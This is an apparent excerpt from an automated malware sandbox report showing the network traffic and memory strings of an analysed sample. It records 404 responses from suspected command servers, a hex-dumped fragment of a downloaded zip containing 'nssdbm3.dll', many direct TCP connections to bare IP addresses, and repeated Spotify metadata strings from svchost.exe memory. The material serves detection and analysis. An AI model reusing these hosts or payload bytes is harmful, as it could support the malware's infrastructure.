20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 11:30:13 GMTContent-Type: text/html; charset=iso-8859-1Content-Length: 276Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 38 35 2e 32 31 35 2e 31 31 33 2e 33 35 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 185.215.113.35 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:13 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:16 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 99 d6 08 56 3d 41 be f5 dc fc fb 49 f5 53 88 30 e4 00 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OV=AIS00
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:21 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 11:30:22 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 14 Jan 2022 11:30:29 GMTContent-Type: application/octet-streamContent-Length: 2828315Connection: keep-aliveLast-Modified: Fri, 07 Jan 2022 23:09:57 GMTETag: "61d8c845-2b281b"Accept-Ranges: bytesData Raw: 50 4b 03 04 14 00 00 00 08 00 9a 7a 6e 4e 3c 09 f8 7b 72 d2 00 00 d0 69 01 00 0b 00 00 00 6e 73 73 64 62 6d 33 2e 64 6c 6c ec fd 7f 7c 14 d5 d5 38 00 cf ee 4e 92 0d 59 d8 05 36 18 24 4a 90 a0 d1 a0 06 16 24 31 80 d9 84 dd 44 20 b0 61 c9 2e 11 13 b4 6a 4c b7 56 f9 b1 43 b0 12 08 4e 02 3b 19 b7 f5 e9 a3 7d ec 2f ab f5 f1 e9 0f db a7 b6 b5 80 d5 ea 86 d8 24 f8 13 81 5a 2c 54 a3 52 bd 71 63 8d 92 86 45 63 e6 3d e7 dc 99 dd 0d da ef f7 fb be 7f bf f0 c9 ec cc dc 3b f7 9e 7b ee b9 e7 9e 73 ee b9 e7 d6 de 70 bf 60 11 04 41 84 3f 4d 13 84 83 02 ff 57 21 fc df ff e5 99 04 61 ca ec 3f 4e 11 9e ca 7e 65 ce 41 d3 ea 57 e6 ac 6f f9 fa b6 82 cd 5b ef ba 7d eb cd df 2c b8 e5 e6 3b ef bc 2b 5c f0 b5 db 0a b6 4a 77 16 7c fd ce 82 15 6b fd 05 df bc eb d6 db ae 9a 3c 79 52 a1 5e c6 45 07 6f 18 6e 78 73 d1 63 c6 9f ef d1 9f 3d 56 0f bf ed cf 2c fe e9 46 f8 ed bb fb cc 63 75 f4 bc e4 a7 1b e8 77 c1 4f fd f4 5b f2 d3 75 f0 7b cf d3 3c df 77 ff b8 f8 a7 37 50 19 8b 1f 7b 91 9e 4b 7e ea a6 df 45 f4 dd 77 ff f8 d2 63 fc f7 1a 7a 5e f7 f5 5b 5a b0 be 7f d7 36 9f 47 10 56 9b 32 84 e7 2b ba 6e 34 de 0d 08 97 cc c9 31 4d c9 11 2e 84 86 97 f0 77 7b 66 c3 bd 03 6e 4a 4c f8 e8 a0 7b b3 20 64 0a f4 9c fc 15 da 4d 84 e4 2b b6 98 20 b9 82 7f e4 10 84 d4 2f ff 29 b8 ce 24 58 21 b5 08 b2 f4 e3 cb 9b 4c c2 0e 4b 1a 60 ab 4d c2 91 8b e0 77 b3 49 f8 ef 4c 41 38 72 ad 49 58 ff 7f e8 a3 a2 72 d3 c4 be 04 38 37 98 ff 7d fe ab c2 b7 ed 08 c3 ef e9 3c bd 5d 17 72 b8 d3 ff 15 00 54 57 6d bd f5 e6 f0 cd 82 b0 62 36 2f 13 5f 0a 17 9b d2 b3 61 bd 15 57 f1 6c 42 02 db e0 33 11 6e 84 e5 5f ca 17 bb 6a eb b6 ad b7 08 02 6f eb 4d 7a 9d 15 5f 51 de d6 db ee b8 eb 16 81 da 8e 38 10 ac f0 bb e2 4b f9 2a 85 ff ff bf ff a7 7f f5 ea 90 bc ac c8 67 72 08 e1 4c b9 cd 2a 48 2e b5 d6 76 b6 fb 8b 84 36 5b 2a 92 bf e9 34 49 97 a8 dd 7b de 31 67 09 c2 3c 1c 02 3e 4d ca d3 24 47 9d 26 59 d9 8b d0 f7 f2 0b ce c6 1e 2d f7 a1 12 93 a3 4f 98 01 39 5c b1 c6 1e 2c 74 c8 e1 57 1b 6d ae 58 20 a8 b6 59 d5 33 ea 2a 87 e2 19 53 3c 23 7d 1e 22 85 3e cf 30 52 42 67 2c 9c 1d b2 6c 68 2e 73 8b e1 6f d8 0f b8 c5 e6 72 cf 70 38 13 ae 09 29 bf cf 33 82 1d 4b 0f 76 fb 01 93 eb 64 73 d9 8d 6e 33 14 2b 5d 07 8f f6 03 2b dc e3 ae c3 ed 6b 72 4d 75 01 5f 90 59 5c 82 a0 0e cb 2f 38 54 cf 18 96 0b af 06 26 0b 42 43 83 22 8d 75 8e da 3b be 0f 65 a9 6b 20 75 24 1e 81 cf 15 8f cd 7e 60 bd 7b 1c 21 ab 4d c8 09 f3 ae 5c 57 ac 59 a9 33 37 2b 6e 51 f5 5a 95 2a ab ea b1 c5 33 5c 47 15 bf 35 64 be a1 f8 90 5a 9f 68 56 4c cd ea 5a 1b 7c 6b 89 35 17 f7 ab 58 46 ac 59 1e cc 6c 56 56 57 9a d5 43 98 d8 7c bd fd 80 80 cf 62 fb aa 5c 93 5a 0f 95 87 6d 81 20 f3 03 30 f0 d4 d0 50 fe 46 38 7b 5d 90 55 11 70 da da 52 57 2c 6e 91 fb b5 4d 4d 1b d5 7f e8 c8 73 aa 1e c2 5f 40 b5 aa 3e 51

Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.186.142.166
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.233.81.115
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171
Source: unknown	TCP traffic detected without corresponding DNS query: 185.7.214.171

Source: svchost.exe, 00000016.00000003.797471360.000001A784BA0000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.facebook.com (Facebook)
Source: svchost.exe, 00000016.00000003.797471360.000001A784BA0000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","N equals www.twitter.com (Twitter)
Source: svchost.exe, 00000016.00000003.797471360.000001A784BA0000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.797504069.000001A784BB1000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI","CW","JM","SJ","JE","KI","KG","LA","LS","LR","MO","MK","MG","MW","IM","MH","MQ","MU","YT","FM","MD","MN","MS","MZ","MM","NA","NR","NP","MV","ML","NC","NI","NE","NU","NF","PW","PS","PA","PG","PY","RE","RW","BL","MF","WS","ST","SN","MP","PN","SX","SB","SO","SC","SL","GS","SH","KN","LC","PM","VC","TJ","TZ","TG","TK","TO","TM","TC","TV","UM","UG","VI","VG","WF","EH","ZM","ZW","UZ","VU","SR","SZ","AD","MC","SM","ME","VA","NEUTRAL"]}],"MarketProperties":[{"RelatedProducts":[],"Markets":["US"]}],"ProductASchema":"Product;3","ProductBSchema":"ProductUnifiedApp;3","ProductId":"9NCBCSZSJRSB","Properties":{"PackageFamilyName":"SpotifyAB.SpotifyMusic_zpdnekdrzrea0","PackageIdentityName":"SpotifyAB.SpotifyMusic","PublisherCertificateName":"CN=453637B3-4E12-4CDF-B0D3-2A3C863BF6EF","XboxCrossGenSetId":null,"XboxConsoleGenOptimized":null,"XboxConsoleGenCompatible":null},"AlternateIds":[{"IdType":"LegacyWindowsStoreProductId","Value":"ceac5d3f-8a4f-40e1-9a67-76d9108c7cb5"},{"IdType":"LegacyWindowsPhoneProductId","Value":"caac1b9d-621b-4f96-b143-e10e1397740a"},{"IdType":"XboxTitleId","Value":"1681279293"}],"IngestionSource":"DCE","IsMicrosoftProduct":false,"PreferredSkuId":"0010","ProductType":"Application","ValidationData":{"PassedValidation":false,"RevisionId":"2022-01-07T11:33:20.1626869Z\|\|.\|\|d5cdcec3-04df-404e-ba07-3240047c89f9\|\|1152921505694348672\|\|Null\|\|fullrelease","ValidationResultUri":""},"MerchandizingTags":[],"PartD":"","ProductFamily":"Apps","ProductKind":"Application","DisplaySkuAvailab
Source: svchost.exe, 00000016.00000003.797471360.000001A784BA0000.00000004.00000001.sdmp, svchost.exe, 00000016.00000003.797504069.000001A784BB1000.00000004.00000001.sdmp	String found in binary or memory: Try it free for 30 days, no strings attached\r\n\r\nLike us on Facebook: http://www.facebook.com/spotify \r\nFollow us on Twitter: http://twitter.com/spotify","ProductTitle":"Spotify - Music and Podcasts","SearchTitles":[{"SearchTitleString":"Spotify","SearchTitleType":"SearchHint"},{"SearchTitleString":"Music","SearchTitleType":"SearchHint"},{"SearchTitleString":"music apps","SearchTitleType":"SearchHint"},{"SearchTitleString":"free music","SearchTitleType":"SearchHint"},{"SearchTitleString":"podcasts","SearchTitleType":"SearchHint"},{"SearchTitleString":"streaming","SearchTitleType":"SearchHint"},{"SearchTitleString":"soundcloud","SearchTitleType":"SearchHint"}],"Language":"en-us","Markets":["US","DZ","AR","AU","AT","BH","BD","BE","BR","BG","CA","CL","CN","CO","CR","HR","CY","CZ","DK","EG","EE","FI","FR","DE","GR","GT","HK","HU","IS","IN","ID","IQ","IE","IL","IT","JP","JO","KZ","KE","KW","LV","LB","LI","LT","LU","MY","MT","MR","MX","MA","NL","NZ","NG","NO","OM","PK","PE","PH","PL","PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","UA","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","BW","BV","IO","BN","BF","BI","KH","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ",